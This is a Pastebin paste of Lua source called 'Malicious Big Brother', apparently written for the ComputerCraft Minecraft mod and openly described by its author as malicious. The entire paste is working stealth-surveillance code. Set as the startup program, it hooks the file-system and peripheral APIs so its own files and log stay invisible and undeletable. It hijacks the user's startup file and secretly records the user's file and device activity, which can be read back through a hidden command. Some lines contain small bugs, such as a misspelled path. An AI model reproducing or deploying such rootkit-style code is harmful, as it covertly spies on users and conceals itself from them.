Advertisement
PaymentOption

MBB Static Paste

Sep 14th, 2013
89
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 13.84 KB | None | 0 0
  1. --[[
  2.     Malicious Big Brother   Trystan Cannon
  3.                             13 September 2013
  4.                            
  5.     This program allows the covering up the existence
  6.     of the malicious program which is this.
  7.    
  8.     Once the program is covered up, all activity is logged
  9.     and can be viewed with a particular command.
  10.    
  11.     This program should be the startup file on a computer.
  12. ]]
  13.  
  14. ---------------------------------------------------
  15. -- Variables                                     --
  16. ---------------------------------------------------
  17. local activityQueue = {} -- The list of activity messages that have yet to be recorded. Messages are removed after they are logged.
  18. ---------------------------------------------------
  19. -- Variables                                     --
  20. ---------------------------------------------------
  21.  
  22.  
  23.  
  24. ---------------------------------------------------
  25. -- Constants                                     --
  26. ---------------------------------------------------
  27. local PROGRAM_TERMINATE_COMMAND = "MBB -t"     -- Kills the currently running program. This only works on hidden programs right now.
  28. local PRINT_LOG_COMMAND         = "MBB -p log" -- The command to be typed into the shell that prints the log.
  29. local KILL_MBB_COMMAND          = "MBB -k"     -- Kills MBB and returns to the original shell.
  30.  
  31. local HIDDEN_FILE_PATHS = { -- All file paths which are to be hidden from the user.
  32.     thisFile    = shell.getRunningProgram(),  -- The path to this file.
  33.     logFile     = "/mBB.log", -- The location where all activity is stored.
  34.     startupFile = "/mBB_startup"              -- The path to the startup file which the user sets so we can keep this program as the startup file.
  35. }
  36.  
  37. local ACTIVITY_MESSAGES = { -- All messages which are to be stored in the log file for this program. These are functions which return strings.
  38.     openFile = function (path, mode, success)
  39.         return "User " .. ((success) and "succeeded in opening" or "failed in opening") .. ' ' .. path .. " in mode: '" .. mode .. "'."
  40.     end,
  41.     listFiles = function (path, removedFiles)
  42.         return "User listed " .. path .. ". The following files were removed from the list: " .. textutils.serialize (removedFiles)
  43.     end,
  44.     deleteFile = function (path, success)
  45.         return "User " .. ((success) and "deleted" or "did not delete") .. ' ' .. path .. '.'
  46.     end,
  47.     fileExists = function (path, success)
  48.         return "User checked " .. ((success) and "successfully" or "unsuccessfully") .. " if " .. path .. " exists."
  49.     end,
  50.     runFile = function (path)
  51.         return "User ran " .. path .. '.'
  52.     end,
  53.     wrapPeripheral = function (peripheralType, side)
  54.         return "User wrapped a(n) " .. peripheralType .. " on side " .. side .. '.'
  55.     end
  56. }
  57. ACTIVITY_MESSAGES.generateMessage = function (messageName, ...)
  58.     return "Day " .. os.day() .. " at " .. textutils.formatTime (os.time (), true) .. ": " .. ACTIVITY_MESSAGES[messageName] (...)
  59. end
  60.  
  61. local oldAPIs         = {} -- A list of the old references to APIs which are overwritten so no recursive calls are made.
  62. local MODDED_API_LIST = {  -- All of the APIs which are to be modified with the functions in this table.
  63.     fs = {
  64.         -- @Override fs.list
  65.         list = function (path)
  66.             path = shell.resolve (path)
  67.            
  68.             -- Make sure that the path being listed doesn't contain any
  69.             -- hidden files.
  70.             local fileList = oldAPIs.fs.list (path)
  71.            
  72.             -- Go through all of the files in the file list and add the indexes of any files
  73.             -- which are on the hidden file list so that the user doesn't see them.
  74.             for fileIndex = 1, #fileList do
  75.                 for _, hiddenFilePath in pairs (HIDDEN_FILE_PATHS) do
  76.                     if shell.resolve (path .. '/' .. fileList[fileIndex]) == shell.resolve (hiddenFilePath) then
  77.                         fileList[fileIndex] = nil
  78.                         break
  79.                     end
  80.                 end
  81.             end
  82.            
  83.             -- Add the startup file to the list if the user lists the root directory and the hidden file for the user's startup
  84.             -- exists.
  85.             if path == shell.resolve ("") and oldAPIs.fs.exists (HIDDEN_FILE_PATHS.startupFile) then
  86.                 table.insert (fileList, "startup")
  87.             end
  88.            
  89.             --activityQueue[#activityQueue + 1] = ACTIVITY_MESSAGES.generateMessage ("listFiles", path, fileIndexesToBeRemovedFromList)
  90.             return fileList
  91.         end,
  92.        
  93.         -- @Override fs.open
  94.         -- We need to make sure that anyone trying to access our particular
  95.         open = function (path, mode)
  96.             path = shell.resolve (path)
  97.            
  98.             -- Don't allow the user to edit any of the files which are on the hidden file list.
  99.             for _, hiddenFilePath in pairs (HIDDEN_FILE_PATHS) do
  100.                 -- If the user wants to edit the startup file, then we should give them a handle
  101.                 -- on the hidden file for the user's startup.
  102.                 if path == shell.resolve (hiddenFilePath) then
  103.                     --activityQueue[#activityQueue + 1] = ACTIVITY_MESSAGES.generateMessage ("openFile", path, mode, false)
  104.                     return nil
  105.                 end
  106.             end
  107.            
  108.             -- Make sure the log records that the user opened the hidden startup file instead of "starup".
  109.             if path == shell.resolve ("/startup") then
  110.                 path = HIDDEN_FILE_PATHS.startupFile
  111.             end
  112.            
  113.             activityQueue[#activityQueue + 1] = ACTIVITY_MESSAGES.generateMessage ("openFile", path, mode, true)
  114.             return oldAPIs.fs.open (path, mode)
  115.         end,
  116.        
  117.         -- @Override fs.delete
  118.         delete = function (path)
  119.             path = shell.resolve (path)
  120.            
  121.             -- If the user wants to delete the startup file and the hidden file for the user's startup exists,
  122.             -- then delete that file and return.
  123.             if path == shell.resolve ("/starutp") and oldAPIs.fs.exists (HIDDEN_FILE_PATHS.startupFile) then
  124.                 oldAPIs.fs.delete (path)
  125.                 activityQueue[#activityQueue + 1] = ACTIVITY_MESSAGES.generateMessage ("deleteFile", HIDDEN_FILE_PATHS.startupFile, true)
  126.                 return
  127.             end
  128.            
  129.             -- Make sure the path isn't one of the hidden file paths.
  130.             for _, hiddenFilePath in pairs (HIDDEN_FILE_PATHS) do
  131.                 if path == hiddenFilePath then
  132.                     activityQueue[#activityQueue + 1] = ACTIVITY_MESSAGES.generateMessage ("deleteFile", path, false)
  133.                     return
  134.                 end
  135.             end
  136.            
  137.             activityQueue[#activityQueue + 1] = ACTIVITY_MESSAGES.generateMessage ("deleteFile", path, true)
  138.             return oldAPIs.fs.delete (path)
  139.         end,
  140.        
  141.         -- @Override fs.exists
  142.         exists = function (path)
  143.             path = shell.resolve (path)
  144.            
  145.             -- Don't let the user know that any of the hidden files exist.
  146.             for _, hiddenFilePath in pairs (HIDDEN_FILE_PATHS) do
  147.                 if path == shell.resolve (hiddenFilePath) then
  148.                     --activityQueue[#activityQueue + 1] = ACTIVITY_MESSAGES.generateMessage ("fileExists", path, false)
  149.                     return
  150.                 end
  151.             end
  152.            
  153.             --activityQueue[#activityQueue + 1] = ACTIVITY_MESSAGES.generateMessage ("fileExists", path, true)
  154.             return oldAPIs.fs.exists (path)
  155.         end
  156.     },
  157.     os = {
  158.         -- @Override os.run
  159.         run = function (environment, path, ...)
  160.             -- activityQueue[#activityQueue + 1] = ACTIVITY_MESSAGES.generateMessage ("runFile", path)
  161.             return oldAPIs.os.run (environment, path, ...)
  162.         end
  163.     },
  164.     peripheral = {
  165.         -- @Override peripheral.wrap
  166.         wrap = function (side)
  167.             local object = oldAPIs.peripheral.wrap (side)
  168.             if object then
  169.                 activityQueue[#activityQueue + 1] = ACTIVITY_MESSAGES.generateMessage ("wrapPeripheral", peripheral.getType (side), side)
  170.                 return object
  171.             end
  172.         end
  173.     }
  174. }
  175. ---------------------------------------------------
  176. -- Constants                                     --
  177. ---------------------------------------------------
  178.  
  179.  
  180.  
  181. ---------------------------------------------------
  182. -- Functions                                     --
  183. ---------------------------------------------------
  184. -- Updates the activity log with the contents of the activity queue.
  185. local function updateActivityLog()
  186.     local fileHandle = nil
  187.    
  188.     for entryIndex = 1, #activityQueue do
  189.         fileHandle = oldAPIs.fs.open (HIDDEN_FILE_PATHS.logFile, 'a')
  190.         fileHandle.writeLine (activityQueue[entryIndex])
  191.         fileHandle.close()
  192.     end
  193.    
  194.     activityQueue = {}
  195. end
  196.  
  197. -- Prints the activity log to the screen.
  198. local function printActivityLog()
  199.     local activityLog = {}
  200.     local fileHandle  = oldAPIs.fs.open (HIDDEN_FILE_PATHS.logFile, 'r')
  201.    
  202.     print()
  203.     for line in fileHandle.readAll():gmatch ("[^\n]+") do
  204.         print (line)
  205.         os.pullEvent ("key")
  206.     end
  207.     fileHandle.close()
  208.    
  209.     oldAPIs.os.run (setmetatable ({ shell = shell }, { __index = _G }), "/rom/programs/clear")
  210. end
  211.  
  212. -- Backs up all native APIs and modifies the global APIs which have been backed up
  213. -- so that the they will serve the purposes of the program defined in the MODDED_API_LIST
  214. -- table.
  215. local function backupAndModifyAPIs()
  216.     for apiName, moddedAPI in pairs (MODDED_API_LIST) do
  217.         oldAPIs[apiName] = {}
  218.        
  219.         for functionName, moddedFunction in pairs (moddedAPI) do
  220.             oldAPIs[apiName][functionName] = _G[apiName][functionName]
  221.             _G[apiName][functionName]      = moddedFunction
  222.         end
  223.     end
  224.    
  225.     oldAPIs.fs.getName = _G.fs.getName
  226. end
  227.  
  228. -- Restores all of the APIs to their former states before being modified.
  229. local function restoreAPIs()
  230.     for apiName, nativeAPI in pairs (oldAPIs) do
  231.         for functionName, nativeFunction in pairs (nativeAPI) do
  232.             _G[apiName][functionName] = nativeFunction
  233.         end
  234.     end
  235. end
  236.  
  237. -- Runs the given hidden file.
  238. local function runHiddenProgram (hiddenPath)
  239.     if oldAPIs.fs.exists (hiddenPath) then
  240.         local hiddenFileHandle   = oldAPIs.fs.open (hiddenPath, 'r')
  241.         local hiddenFileContents = hiddenFileHandle.readAll()
  242.         hiddenFileHandle.close()
  243.        
  244.         local hiddenProgramEnvironment = setmetatable ({ shell = shell }, { __index = getfenv (1) })
  245.         local hiddenProgramFunction    = loadstring (hiddenFileContents)
  246.         setfenv (hiddenProgramFunction, hiddenProgramEnvironment)
  247.        
  248.         local hiddenProgramThread = coroutine.create (hiddenProgramFunction)
  249.         coroutine.resume (hiddenProgramThread)
  250.        
  251.         local hiddenProgramEventFilter = nil
  252.         while coroutine.status (hiddenProgramThread) ~= "dead" do
  253.             local eventData = { os.pullEventRaw (hiddenProgramEventFilter) }
  254.            
  255.             if eventData[1] == "key" and eventData[2] == keys["f12"] then
  256.                 local command    = ""
  257.                 local event, key = os.pullEventRaw()
  258.                
  259.                 while not (event == "key" and key == 28) do
  260.                     if event == "char" then
  261.                         command = command .. key
  262.                     elseif event == "key" and key == 14 then
  263.                         command = command:sub (1, command:len() - 1)
  264.                     end
  265.                    
  266.                     event, key = os.pullEventRaw()
  267.                 end
  268.                
  269.                 if command == PROGRAM_TERMINATE_COMMAND then
  270.                     hiddenProgramThread = coroutine.create (function() end)
  271.                 end
  272.             end
  273.            
  274.             hiddenProgramEventFilter = coroutine.resume (hiddenProgramThread, unpack (eventData))
  275.         end
  276.     end
  277. end
  278.  
  279. -- Don't look at me! I'm hideous!
  280. local function main()
  281.     local command = ""
  282.    
  283.     local shellFunction    = loadfile ("/rom/programs/shell")
  284.     local shellEnvironment = setmetatable ({ shell = shell }, { __index = _G })
  285.     setfenv (shellFunction, shellEnvironment)
  286.    
  287.     local shellThread = coroutine.create (shellFunction)
  288.     coroutine.resume (shellThread)
  289.    
  290.     -- Run the user's startup file if it exists.
  291.     if oldAPIs.fs.exists (HIDDEN_FILE_PATHS.startupFile) then
  292.         term.native.setCursorBlink (false)
  293.         runHiddenProgram (HIDDEN_FILE_PATHS.startupFile)
  294.         coroutine.resume (shellThread)
  295.     end
  296.    
  297.     while coroutine.status (shellThread) ~= "dead" do
  298.         local eventData = { os.pullEvent() }
  299.        
  300.         if eventData[1] == "char" then
  301.             command = command .. eventData[2]
  302.         elseif eventData[1] ~= "char" then
  303.             if command == PRINT_LOG_COMMAND then
  304.                 printActivityLog()
  305.                 command = ""
  306.                
  307.                 eventData = {}
  308.             elseif command == KILL_MBB_COMMAND then
  309.                 restoreAPIs()
  310.                 return
  311.             end
  312.            
  313.             if eventData[1] == "key" then
  314.                 if eventData[2] == 28 then
  315.                     command = ""
  316.                 elseif eventData[2] == 14 then
  317.                     command = command:sub (1, command:len() - 1)
  318.                 end
  319.             end
  320.         end
  321.        
  322.         coroutine.resume (shellThread, unpack (eventData))
  323.         updateActivityLog()
  324.     end
  325.    
  326.     shell.exit()
  327. end
  328. ---------------------------------------------------
  329. -- Functions                                     --
  330. ---------------------------------------------------
  331.  
  332. backupAndModifyAPIs()
  333. main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement